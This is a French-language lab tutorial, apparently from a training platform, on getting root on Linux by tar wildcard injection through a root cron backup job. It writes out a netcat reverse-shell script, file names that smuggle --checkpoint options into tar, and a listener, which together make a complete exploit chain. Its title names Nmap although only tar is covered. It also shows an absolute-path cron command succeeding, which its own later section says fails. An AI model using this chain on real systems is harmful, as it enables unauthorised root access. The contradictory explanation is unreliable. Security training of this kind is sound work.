Effectuer une injection de caractères génériques dans Nmap pour l'élévation de privilèges

Introduction

Dans ce laboratoire (lab), nous allons apprendre sur l'injection de caractères génériques (wildcard injection), une technique utilisée pour l'escalade de privilèges sur les systèmes Linux. Plus précisément, nous allons explorer le principe de l'injection de caractères génériques dans la commande tar largement utilisée et effectuer un exercice pratique pour obtenir les privilèges de superutilisateur (root) en exploitant cette vulnérabilité en combinaison avec l'utilitaire crontab.

Skills Graph

Comprendre les caractères génériques (wildcards)

Tout d'abord, comprenons ce que sont les caractères génériques et comment ils fonctionnent dans le shell Linux. Les caractères génériques sont des caractères spéciaux ou des séquences de caractères qui peuvent être utilisés pour représenter ou correspondre à un ensemble de noms de fichiers ou de chemins.

Voici quelques caractères génériques courants :

* (astérisque) correspond à n'importe quel nombre de caractères (y compris zéro caractères) dans un nom de fichier ou un chemin.
? (point d'interrogation) correspond à n'importe quel caractère unique.
[] (crochets carrés) correspondent à n'importe quel caractère unique parmi l'ensemble de caractères spécifié entre les crochets.
~ (tilde) représente le répertoire personnel (home directory) de l'utilisateur actuel ou d'un autre utilisateur si suivi d'un nom d'utilisateur.

Dans le contexte de l'escalade de privilèges, les caractères génériques * et - sont couramment utilisés. Explorons d'abord comment le shell interprète le caractère -.

Ouvrez un terminal et accédez au répertoire /home/labex/project :
```
cd /home/labex/project
```
Il y a un fichier nommé --help dans le répertoire actuel. Essayez de réfléchir et d'expérimenter comment vous pouvez afficher le contenu de ce fichier.

Si vous utilisez la commande cat --help, vous obtiendrez le message d'aide de la commande cat au lieu d'afficher le contenu du fichier --help.

De même, si vous utilisez vim --help, vous verrez un message d'aide pour la commande vim.

Cela est dû au fait que le shell Linux interprète - comme un argument de commande.
Pour afficher le contenu du fichier --help, vous devez éviter de commencer le nom de fichier par -. Vous pouvez utiliser :
```
cat /home/labex/project/--help
```
De cette façon, le shell n'interprétera pas --help comme un argument, et vous pourrez afficher le contenu du fichier.
Maintenant, modifions le contenu du fichier --help avec l'éditeur de votre choix. Par exemple, vous pouvez utiliser nano :
```
nano /home/labex/project/--help
```
Supprimez le contenu existant et ajoutez le texte suivant au fichier :
```
I can read the file
```
Enregistrez et quittez nano.

Ce comportement du shell est précisément ce que l'injection de caractères génériques (wildcard injection) exploite.

L'injection de caractères génériques est souvent combinée avec les tâches planifiées (cron jobs), explorons donc un exemple concret impliquant la commande tar.

Injection de caractères génériques (wildcard injection) avec `crontab` et `tar`

Pour comprendre comment l'injection de caractères génériques peut conduire à une escalade de privilèges, nous allons effectuer un exercice pratique impliquant la commande tar et crontab.

Tout d'abord, initialisons l'environnement du laboratoire (lab) en exécutant la commande suivante :

Accédez au répertoire /home/labex/project :
```
cd /home/labex/project
```
Exécutez le script de configuration pour initialiser l'environnement du laboratoire :
```
./env_setup.sh
```
Après l'initialisation, vous passerez à l'utilisateur user001 (simulant un attaquant ayant obtenu un accès initial au shell).
Ensuite, vérifions les tâches planifiées dans le crontab :
```
cat /etc/crontab
```
Sortie attendue :
```
* * * * * root cd /var/www/html/ && tar -zcf /var/backups/html.tgz *
```
Vous devriez voir une tâche planifiée pour s'exécuter toutes les minutes, qui archive le contenu du répertoire /var/www/html/ dans un fichier compressé /var/backups/html.tgz.
Ensuite, regardons les fichiers à l'intérieur du répertoire /var/www/html :
```
ls /var/www/html
```
Pour exploiter la vulnérabilité d'injection de caractères génériques, nous devons créer les trois fichiers suivants dans le répertoire /var/www/html/.

Tout d'abord, accédez au répertoire /var/www/html :
```
cd /var/www/html/
```
- shell.sh avec le contenu pour exécuter un reverse shell :
```
echo 'nc.traditional 127.0.0.1 4444 -e /bin/bash' > shell.sh
```
- Un fichier nommé --checkpoint-action=exec=sh shell.sh (notez les espaces dans le nom de fichier) :
```
echo "" > "--checkpoint-action=exec=sh shell.sh"
```
- Un fichier nommé --checkpoint=1 :
```
echo "" > --checkpoint=1
```
Après avoir créé ces fichiers, le répertoire /var/www/html/ devrait ressembler à ceci :
```
'--checkpoint-action=exec=sh shell.sh' '--checkpoint=1' index.html index.nginx-debian.html shell.sh
```
Lorsque la tâche planifiée (cron job) exécute la commande suivante :
```
tar -zcf /var/backups/html.tgz /var/www/html/*
```
Elle sera interprétée comme :
```
tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html
```
Voici ce que signifient les paramètres :
- --checkpoint et --checkpoint-action sont généralement utilisés ensemble. Le premier définit un point de contrôle, et le second spécifie l'action à effectuer lorsque le point de contrôle est atteint.
- --checkpoint-action=exec=sh shell.sh signifie que lorsque le point de contrôle est atteint, le script shell.sh sera exécuté.
Ainsi, chaque fois que la tâche planifiée s'exécute, le script shell.sh sera exécuté, ce qui enverra un reverse shell /bin/bash au port local 4444.
Configurons un écouteur sur le port local 4444 dans le shell actuel :
```
nc -lnvp 4444
```
Après un court moment d'attente, lorsque la tâche planifiée sera exécutée, nous devrions recevoir le reverse shell avec les privilèges de superutilisateur (root) :

Sortie attendue :
```
Listening on 0.0.0.0 4444
Connection received on 127.0.0.1 56226
```
Essayez de créer un fichier success.txt dans le répertoire /root pour confirmer que vous avez les privilèges de superutilisateur :
```
touch /root/success.txt
```
Si vous pouvez créer le fichier sans erreur de permission, vous avez réussi à escalader vos privilèges en utilisant l'injection de caractères génériques.

Il y a deux limitations importantes à cette technique d'escalade de privilèges avec tar et crontab :

Le répertoire html doit avoir les droits d'écriture (w) pour les autres utilisateurs, afin que nous puissions créer le fichier shell.sh et les autres fichiers dans ce répertoire.
La commande tar dans le crontab ne doit pas inclure un chemin absolu. Par exemple, si l'entrée du crontab ressemble à ceci :
```
* * * * * root tar -zcf /var/backups/html.tgz /var/www/html/*
```
L'injection de caractères génériques échouera car le shell interprétera la commande comme :
```
tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html
```
Dans ce cas, /var/www/html/--checkpoint=1 et /var/www/html/--checkpoint-action=exec=sh shell.sh ne seront pas interprétés comme des arguments de la commande tar, et l'injection échouera.

Résumé

Dans ce laboratoire (lab), nous avons appris sur l'injection de caractères génériques (wildcard injection), une technique utilisée pour l'escalade de privilèges sur les systèmes Linux. Nous avons exploré le principe de l'injection de caractères génériques dans la commande tar largement utilisée et effectué un exercice pratique pour obtenir les privilèges de superutilisateur (root) en exploitant cette vulnérabilité en combinaison avec l'utilitaire crontab. Grâce à ce laboratoire, nous avons acquis une expérience pratique dans la compréhension et l'exploitation d'une vulnérabilité d'escalade de privilèges réelle, ce qui est une compétence essentielle pour tout professionnel de la sécurité ou administrateur système.